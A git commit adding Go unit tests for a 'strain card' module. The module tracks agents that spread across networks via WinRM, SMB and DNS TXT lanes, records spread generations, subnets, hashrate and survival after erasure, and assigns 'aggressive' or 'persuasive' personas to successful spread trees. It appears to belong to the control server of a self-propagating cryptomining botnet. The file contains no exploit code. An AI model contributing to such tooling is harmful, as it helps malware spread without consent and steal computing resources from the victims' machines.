Add lineage strain card generation and play API implementation.
Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
This commit is contained in:
93
server/internal/strategy/strain_card_test.go
Normal file
93
server/internal/strategy/strain_card_test.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package strategy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestSpreadStrainFromJoinLaneStable(t *testing.T) {
|
||||
a := SpreadStrainFromJoinLane("winrm")
|
||||
b := SpreadStrainFromJoinLane("winrm")
|
||||
if a != b || a == "" {
|
||||
t.Fatalf("strain not stable: %q vs %q", a, b)
|
||||
}
|
||||
if SpreadStrainFromJoinLane("dns_txt") == a {
|
||||
t.Fatal("different lanes should differ")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollectSpreadTreeRootAndDescendants(t *testing.T) {
|
||||
agents := []SpreadTreeAgent{
|
||||
{ID: "root", Name: "Root", SpreadGeneration: 0},
|
||||
{ID: "mid", Name: "Mid", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "winrm"},
|
||||
{ID: "leaf", Name: "Leaf", ParentAgentID: "mid", SpreadGeneration: 2, JoinLane: "dns_txt", Hashrate: 500},
|
||||
{ID: "other", Name: "Other", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "smb"},
|
||||
}
|
||||
root, tree := CollectSpreadTree(agents, "leaf")
|
||||
if root != "root" {
|
||||
t.Fatalf("root = %q want root", root)
|
||||
}
|
||||
if len(tree) != 4 {
|
||||
t.Fatalf("tree size = %d want 4", len(tree))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildStrainCardFromWinningTree(t *testing.T) {
|
||||
agents := []SpreadTreeAgent{
|
||||
{ID: "root", Name: "Root", IP: "10.0.1.10", SpreadGeneration: 0},
|
||||
{ID: "child", Name: "Child", ParentAgentID: "root", IP: "10.0.2.20", SpreadGeneration: 1, JoinLane: "dns_txt", Hashrate: 800},
|
||||
}
|
||||
card := BuildStrainCard(BuildStrainCardInput{
|
||||
SourceAgentID: "child",
|
||||
SourceAgentName: "Child",
|
||||
SpreadLane: "dns_txt",
|
||||
TierOrder: []string{"container", "wsl", "cpu_inprocess"},
|
||||
PeakHashrate: 800,
|
||||
Attempts: []TierAttempt{
|
||||
{Tier: "docker", OK: false},
|
||||
{Tier: "container", OK: true},
|
||||
{Tier: "wsl", OK: true},
|
||||
},
|
||||
TreeAgents: agents,
|
||||
ParentLanes: []string{"winrm"},
|
||||
})
|
||||
if card.RootAgentID != "root" || card.TreeSize != 2 {
|
||||
t.Fatalf("card root/tree: %+v", card)
|
||||
}
|
||||
if len(card.Wins) != 2 || len(card.Losses) != 1 {
|
||||
t.Fatalf("wins/losses = %v / %v", card.Wins, card.Losses)
|
||||
}
|
||||
if card.Persona != "persuasive" {
|
||||
t.Fatalf("persona = %q", card.Persona)
|
||||
}
|
||||
if len(card.Subnets) != 2 {
|
||||
t.Fatalf("subnets = %v", card.Subnets)
|
||||
}
|
||||
if card.ErasureRecoveryRate != 1 {
|
||||
t.Fatalf("erasure rate = %v want 1", card.ErasureRecoveryRate)
|
||||
}
|
||||
if card.SpreadStrain != SpreadStrainFromJoinLane("dns_txt") {
|
||||
t.Fatalf("strain = %q", card.SpreadStrain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTemperamentFromCardUsesTierOrder(t *testing.T) {
|
||||
card := StrainCard{
|
||||
ID: "card-1",
|
||||
Persona: "balanced",
|
||||
TierOrder: []string{"container", "wsl"},
|
||||
}
|
||||
temp := TemperamentFromCard(card)
|
||||
if len(temp.TierOrder) != 2 || temp.TierOrder[0] != "container" {
|
||||
t.Fatalf("temperament = %+v", temp)
|
||||
}
|
||||
if temp.Reasoning[0].Fact != "lineage_strain_card=card-1" {
|
||||
t.Fatalf("reasoning = %+v", temp.Reasoning)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersonaFromSpreadLane(t *testing.T) {
|
||||
if PersonaFromSpreadLane("winrm") != "aggressive" {
|
||||
t.Fatal("winrm should map aggressive")
|
||||
}
|
||||
if PersonaFromSpreadLane("dns_txt") != "persuasive" {
|
||||
t.Fatal("dns_txt should map persuasive")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user